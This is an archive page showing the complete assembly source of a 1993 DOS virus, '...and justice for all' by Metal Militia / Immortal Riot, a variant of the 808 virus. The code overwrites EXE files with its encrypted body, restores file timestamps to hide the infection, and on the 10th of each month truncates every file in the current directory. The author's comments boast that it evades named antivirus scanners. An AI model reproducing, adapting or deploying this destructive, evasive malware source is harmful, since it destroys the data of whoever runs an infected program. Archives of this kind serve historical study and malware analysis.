home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / justice.asm < prev    next >
Assembly Source File  |  1993-07-30  |  12KB  |  335 lines

  1. ; Virusname: ...and justice for all
  2. ; Country  : Sweden
  3. ; Author   : Metal Militia / Immortal Riot
  4. ; Date     : 07-29-1993
  5.  
  6. ; This is an mutation of 808 virus by Skism in USA.
  7. ; Many thanks to the scratch coder of the 808 virus.
  8.  
  9. ; We've tried this virus ourself, and it works just fine.
  10. ; Infects one random EXE-file every run, by overwriting it
  11. ; with the virus-code, and if the file is smaller, will "pad"
  12. ; it out to the size of the virus anyhow.
  13. ;
  14. ; McAfee Scan v105 can't find it, and
  15. ; S&S Toolkit 6.5 don't find it either.
  16.  
  17. ; I haven't tried with scanners like Fprot/Tbscan,
  18. ; but they will probably report some virus structure.
  19. ;
  20. ; Best Regards : [Metal Militia]
  21. ;               [The Unforgiven]
  22.  
  23.  
  24. filename   EQU      30                 ;used to find file name
  25. fileattr   EQU      21                 ;used to find file attributes
  26. filedate   EQU      24                 ;used to find file date
  27. filetime   EQU      22                 ;used to find file time
  28.  
  29.  
  30.  
  31. code_start EQU      0100h              ;start of all .COM files
  32. virus_size EQU      808                ;TR 808
  33.  
  34.  
  35. code     segment  'code'
  36. assume   cs:code,ds:code,es:code
  37.          org      code_start
  38.  
  39. main proc   near
  40.  
  41. jmp    virus_start
  42.  
  43. encrypt_val    db     00h
  44.  
  45. virus_start:
  46.  
  47.      call     encrypt                  ;encrypt/decrypt file
  48.      jmp      virus                    ;go to start of code
  49.  
  50. encrypt:
  51.  
  52.      push     ax
  53.      mov      bx,offset virus_code     ;start encryption at data
  54.  
  55. xor_loop:
  56.  
  57.      mov      ch,[bx]                  ;read current byte
  58.      xor      cl,encrypt_val           ;get encryption key
  59.      mov      [bx],ch                  ;switch bytes
  60.      inc      bx                       ;move bx up a byte
  61.      cmp      bx,offset virus_code+virus_size
  62.                                        ;are we done with the encryption
  63.      jle      xor_loop                 ;no?  keep going
  64.      pop      cx
  65.      ret
  66.  
  67.  
  68. infectfile:
  69.  
  70.      mov     dx,code_start             ;where virus starts in memory
  71.      mov     bx,handle                 ;load bx with handle
  72.      push    bx                        ;save handle on stack
  73.      call    encrypt                   ;encrypt file
  74.      pop     bx                        ;get back bx
  75.      mov     cx,virus_size             ;number of bytes to write
  76.      mov     ah,40h                    ;write to file
  77.      int     21h                       ;
  78.      push    bx
  79.      call    encrypt                   ;fix up the mess
  80.      pop     bx
  81.      ret
  82.  
  83. virus_code:
  84.  
  85. wildcards    db     "*",0              ;search for directory argument
  86. filespec     db     "*.EXE",0          ;search for EXE file argument
  87. filespec2    db     "*.*",0            ;search fro all files argument
  88. rootdir      db     "\",0              ;argument for root directory
  89. dirdata      db     43 dup (?)         ;holds directory DTA
  90. filedata     db     43 dup (?)         ;holds files DTA
  91. diskdtaseg   dw     ?                  ;holds disk dta segment
  92. diskdtaofs   dw     ?                  ;holds disk dta offset
  93. tempofs      dw     ?                  ;holds offset
  94. tempseg      dw     ?                  ;holds segment
  95. drivecode    db     ?                  ;holds drive code
  96. currentdir   db     64 dup (?)         ;save current directory into this
  97. handle       dw     ?                  ;holds file handle
  98. orig_time    dw     ?                  ;holds file time
  99. orig_date    dw     ?                  ;holds file date
  100. orig_attr    dw     ?                  ;holds file attr
  101. idbuffer     dw     2 dup  (?)         ;holds virus id
  102.  
  103. virus:
  104.  
  105.       mov    ax,3000h                  ;get dos version
  106.       int    21h                       ;
  107.       cmp    al,02h                    ;is it at least 2.00?
  108.       jb     bus1                      ;won't infect less than 2.00
  109.       mov    ah,2ch                    ;get time
  110.       int    21h                       ;
  111.       mov    encrypt_val,dl            ;save m_seconds to encrypt val so
  112.                                        ;theres 100 mutations possible
  113. setdta:
  114.  
  115.      mov     dx,offset dirdata         ;offset of where to hold new dta
  116.      mov     ah,1ah                    ;set dta address
  117.      int     21h                       ;
  118.  
  119. newdir:
  120.  
  121.      mov     ah,19h                    ;get drive code
  122.      int     21h                       ;
  123.      mov     dl,al                     ;save drivecode
  124.      inc     dl                        ;add one to dl, because functions differ
  125.      mov     ah,47h                    ;get current directory
  126.      mov     si, offset currentdir     ;buffer to save directory in
  127.      int     21h                       ;
  128.  
  129.      mov     dx,offset rootdir         ;move dx to change to root directory
  130.      mov     ah,3bh                    ;change directory to root
  131.      int     21h                       ;
  132.  
  133. scandirs:
  134.  
  135.      mov     cx,13h                    ;include hidden/ro directorys
  136.      mov     dx, offset wildcards      ;look for '*'
  137.      mov     ah,4eh                    ;find first file
  138.      int     21h                       ;
  139.      cmp     ax,12h                    ;no first file?
  140.      jne     dirloop                   ;no dirs found? bail out
  141.  
  142. bus1:
  143.  
  144.       jmp    bus
  145.  
  146. dirloop:
  147.  
  148.      mov     ah,4fh                    ;find next file
  149.      int     21h                       ;
  150.      cmp     ax,12h
  151.      je      bus                       ;no more dirs found, roll out
  152.  
  153. chdir:
  154.  
  155.      mov     dx,offset dirdata+filename;point dx to fcb - filename
  156.      mov     ah,3bh                    ;change directory
  157.      int     21h                       ;
  158.  
  159.      mov     ah,2fh                    ;get current dta address
  160.      int     21h                       ;
  161.      mov     [diskdtaseg],es           ;save old segment
  162.      mov     [diskdtaofs],bx           ;save old offset
  163.      mov     dx,offset filedata        ;offset of where to hold new dta
  164.      mov     ah,1ah                    ;set dta address
  165.      int     21h                       ;
  166.  
  167. scandir:
  168.  
  169.      mov     cx,07h                    ;find any attribute
  170.      mov     dx,offset filespec        ;point dx to "*.COM",0
  171.      mov     ah,4eh                    ;find first file function
  172.      int     21h                       ;
  173.      cmp     ax,12h                    ;was file found?
  174.      jne     transform
  175.  
  176. nextexe:
  177.  
  178.      mov     ah,4fh                    ;find next file
  179.      int     21h                       ;
  180.      cmp     ax,12h                    ;none found
  181.      jne     transform                 ;found see what we can do
  182.  
  183.      mov     dx,offset rootdir         ;move dx to change to root directory
  184.      mov     ah,3bh                    ;change directory to root
  185.      int     21h                       ;
  186.      mov     ah,1ah                    ;set dta address
  187.      mov     ds,[diskdtaseg]           ;restore old segment
  188.      mov     dx,[diskdtaofs]           ;restore old offset
  189.      int     21h                       ;
  190.      jmp     dirloop
  191.  
  192.  
  193. bus:
  194.  
  195.      jmp     rollout
  196.  
  197. transform:
  198.  
  199.      mov     ah,2fh                    ;temporally store dta
  200.      int     21h                       ;
  201.      mov     [tempseg],es              ;save old segment
  202.      mov     [tempofs],bx              ;save old offset
  203.      mov     dx, offset filedata + filename
  204.  
  205.      mov     bx,offset filedata               ;save file...
  206.      mov     ax,[bx]+filedate          ;date
  207.      mov     orig_date,ax              ;
  208.      mov     ax,[bx]+filetime          ;time
  209.      mov     orig_time,ax              ;    and
  210.      mov     ax,[bx]+fileattr          ;
  211.      mov     ax,4300h
  212.      int     21h
  213.      mov     orig_attr,cx
  214.      mov     ax,4301h                  ;change attributes
  215.      xor     cx,cx                     ;clear attributes
  216.      int     21h                       ;
  217.      mov     ax,3d00h                  ;open file - read
  218.      int     21h                       ;
  219.      jc      fixup                     ;error - find another file
  220.      mov     handle,ax                 ;save handle
  221.      mov     ah,3fh                    ;read from file
  222.      mov     bx,handle                 ;move handle to bx
  223.      mov     cx,02h                    ;read 2 bytes
  224.      mov     dx,offset idbuffer        ;save to buffer
  225.      int     21h                       ;
  226.  
  227.      mov     ah,3eh                    ;close file for now
  228.      mov     bx,handle                 ;load bx with handle
  229.      int     21h                       ;
  230.  
  231.      mov     bx, idbuffer              ;fill bx with id string
  232.      cmp     bx,02ebh                  ;infected?
  233.      jne     doit                      ;same - find another file
  234.  
  235.  
  236. fixup:
  237.      mov     ah,1ah                    ;set dta address
  238.      mov     ds,[tempseg]              ;restore old segment
  239.      mov     dx,[tempofs]              ;restore old offset
  240.      int     21h                       ;
  241.      jmp     nextexe
  242.  
  243.  
  244. doit:
  245.  
  246.      mov     dx, offset filedata + filename
  247.      mov     ax,3d02h                  ;open file read/write access
  248.      int     21h                       ;
  249.      mov     handle,ax                 ;save handle
  250.  
  251.      call    infectfile
  252.  
  253.      ;mov     ax,3eh                    ;close file
  254.      ;int     21h
  255.  
  256. rollout:
  257.  
  258.      mov     ax,5701h                  ;restore original
  259.      mov     bx,handle                 ;
  260.      mov     cx,orig_time              ;time and
  261.      mov     dx,orig_date              ;date
  262.      int     21h                       ;
  263.  
  264.      mov     ax,4301h                  ;restore original attributes
  265.      mov     cx,orig_attr
  266.      mov     dx,offset filedata + filename
  267.      int     21h
  268.      ;mov     bx,handle
  269.      ;mov     ax,3eh                   ;close file
  270.      ;int     21h
  271.      mov     ah,3bh                    ;try to fix this
  272.      mov     dx,offset rootdir         ;for speed
  273.      int     21h                       ;
  274.      mov     ah,3bh                    ;change directory
  275.      mov     dx,offset currentdir      ;back to original
  276.      int     21h                       ;
  277.      mov     ah,2ah                    ;check system date
  278.      int     21h                       ;
  279.      cmp     cx,1993                   ;is it at least 1993?
  280.      jb      audi                      ;no? don't do it now
  281.      cmp     dl,10                     ;is it the 10th?
  282.      jne     audi                      ;not yet? quit
  283.      mov     dx,offset dirdata         ;offset of where to hold new dta
  284.      mov     ah,1ah                    ;set dta address
  285.      int     21h                       ;
  286.      mov     ah,4eh                    ;find first file
  287.      mov     cx,7h                     ;
  288.      mov     dx,offset filespec2       ;offset *.*
  289.  
  290. Loops:
  291.  
  292.      int     21h                       ;
  293.      jc      audi                      ;error? then quit
  294.      mov     ax,4301h                  ;find all normal files
  295.      xor     cx,cx                     ;
  296.      int     21h                       ;
  297.      mov     dx,offset dirdata + filename
  298.      mov     ah,3ch                    ;fuck up all files in current dir
  299.      int     21h                       ;
  300.      jc      audi                      ;error? quit
  301.      mov     ah,4fh                    ;find next file
  302.      jmp     loops                     ;
  303.  
  304. audi:
  305.  
  306.      mov     ax,4c00h                  ;end program
  307.      int     21h                       ;
  308.  
  309. ; Time changes, and so does the text..sorry Skism :)
  310. ; but hey! Isn't this message much fanicer then the old ?
  311. ; Yeah, right, Metal Up Your Ass!
  312.  
  313. words_  db " Metal Militia / Immortal Riot",0
  314.  
  315. words2  db " ...and Justice for all",0
  316.  
  317. words3   db  " Justice is lost",0
  318.          db  " Justice is raped",0
  319.          db  " Justice is gone",0
  320.          db  " Pulling your strings",0
  321.          db  " Seeking no truth",0
  322.          db  " Winning is all",0
  323.   db  " Find it so Grim",0
  324.   db  " so true",0
  325.   db  " so real",0
  326.  
  327. ; heh..what a lucky dog I'm, the new virus turned out to be 808 bytes,
  328. ; which means exactly like the old one..(used tlink2 /t).
  329.  
  330. main     endp
  331. code     ends
  332.          end      main
  333.  
  334.  
  335.